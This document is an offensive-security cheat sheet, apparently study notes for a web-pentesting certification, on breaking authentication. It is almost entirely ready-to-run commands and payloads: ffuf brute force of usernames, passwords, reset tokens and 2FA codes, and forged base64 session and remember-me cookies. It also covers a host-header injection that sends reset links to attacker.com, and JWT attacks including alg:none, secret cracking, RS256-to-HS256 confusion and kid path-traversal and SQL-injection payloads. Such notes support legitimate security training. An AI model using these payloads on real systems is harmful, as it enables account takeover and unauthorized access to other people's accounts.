Broken Authentication & JWT
Auth attacks from the CWES path: username enumeration, OTP/token brute force, predictable session forgery, password-reset abuse (host header injection), JWT (alg:none, secret cracking, jwt_tool), and cookie flag analysis. Every payload separated.
Username enumeration
When the app says “Unknown user” vs “Wrong password”:
ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u http://IP/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"
Password brute force (known username)
Build a policy-compliant wordlist:
grep '[[:upper:]]' rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt
Brute force, filtering out failures:
ffuf -w ./custom_wordlist.txt -u http://IP/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username"
OTP / token brute force
Generate all 4-digit tokens:
seq -w 0 9999 > tokens.txt
Password-reset token brute:
ffuf -w ./tokens.txt -u 'http://weak_reset.htb/reset_password.php?token=FUZZ' -fr "The provided token is invalid"
2FA OTP brute (needs a session cookie):
ffuf -w ./tokens.txt -u http://bf_2fa.htb/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=SESSION_ID_HERE" -d "otp=FUZZ" -fr "Invalid 2FA Code"
Predictable session forgery
Decode a base64 session token:
echo -n 'dXNlcj1odGItc3RkbnQ7cm9sZT11c2Vy' | base64 -d
Modify the value and re-encode (use as your new cookie):
echo -n 'user=htb-stdnt;role=admin' | base64
Password reset - host header injection
Makes the reset link point at your domain:
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@target.com
JWT attacks
Decode a JWT part:
echo "PAYLOAD_PART" | base64 -d
alg:none bypass - change header to {"alg":"none"} and strip the signature (keep the trailing dot):
HEADER.PAYLOAD.
Brute force an HS256 secret with hashcat:
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
jwt_tool dictionary attack on the secret:
python3 jwt_tool.py TOKEN -C -d rockyou.txt
Cookie flag analysis
Secure - absent on HTTPS → cookie sent in cleartext over HTTP
HttpOnly - absent → JavaScript can read the cookie (XSS → hijack)
SameSite - absent/None → CSRF possible
MFA / 2FA bypass
Response manipulation
Intercept the 2FA verification response in Burp Proxy. Change the failed response to a success:
HTTP/1.1 200 OK
{"status": "success", "redirectUrl": "/dashboard"}
If the app trusts the response body rather than validating server-side → bypass.
Skip the 2FA step entirely
After logging in with valid credentials, don’t complete 2FA. Directly navigate to the authenticated endpoint:
curl -b "session=SESSION_AFTER_STEP1" https://TARGET/dashboard
If the session is already partially authenticated after step 1 → you may access protected pages before completing 2FA.
Code reuse
Submit a valid 2FA code a second time in Burp Repeater. If it’s accepted again → codes are not invalidated after use.
No rate limiting
Brute force the OTP without account lockout:
ffuf -w tokens.txt -u https://TARGET/2fa -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "session=SESSION" \
-d "code=FUZZ" -fr "Invalid code"
JWT Algorithm Confusion (RS256 → HS256)
The server signs with RS256 (asymmetric). If it also accepts HS256, sign the token with the public key as the HMAC secret — the server verifies it using the same public key and it passes.
Step 1 — Get the public key
curl -s https://TARGET/.well-known/jwks.json
openssl s_client -connect TARGET:443 | openssl x509 -pubkey -noout
Step 2 — Sign with public key as HMAC secret
import jwt
public_key = open('public.pem').read()
payload = {"sub": "administrator", "iat": 1234567890}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
Or use JWT Editor in Burp: intercept the JWT → JWT Editor keys tab → new RSA key → paste JWK → in Repeater switch alg to HS256, modify claims, sign with embedded public key.
”Stay Logged In” / Remember-Me Token Forgery
If the remember-me token is a predictable value (base64 of username:timestamp, MD5 of password):
# Decode
echo "dXNlcjE6MTcwMDAwMDAwMA==" | base64 -d
# user1:1700000000
# Forge for admin
echo -n "admin:1700000000" | base64
Submit the forged value as the rememberMe / stay_logged_in cookie.
JWT kid Header Injection
The kid header tells the server which key to use. If it’s used in a file path or SQL query without sanitisation:
Path traversal
{"alg": "HS256", "kid": "../../dev/null"}
Sign with an empty string as the secret (contents of /dev/null):
import jwt
token = jwt.encode({"sub": "admin"}, "", algorithm="HS256",
headers={"kid": "../../dev/null"})
SQL injection via kid
{"kid": "x' UNION SELECT 'mysecret'-- -"}
Sign the token with mysecret as the HMAC key.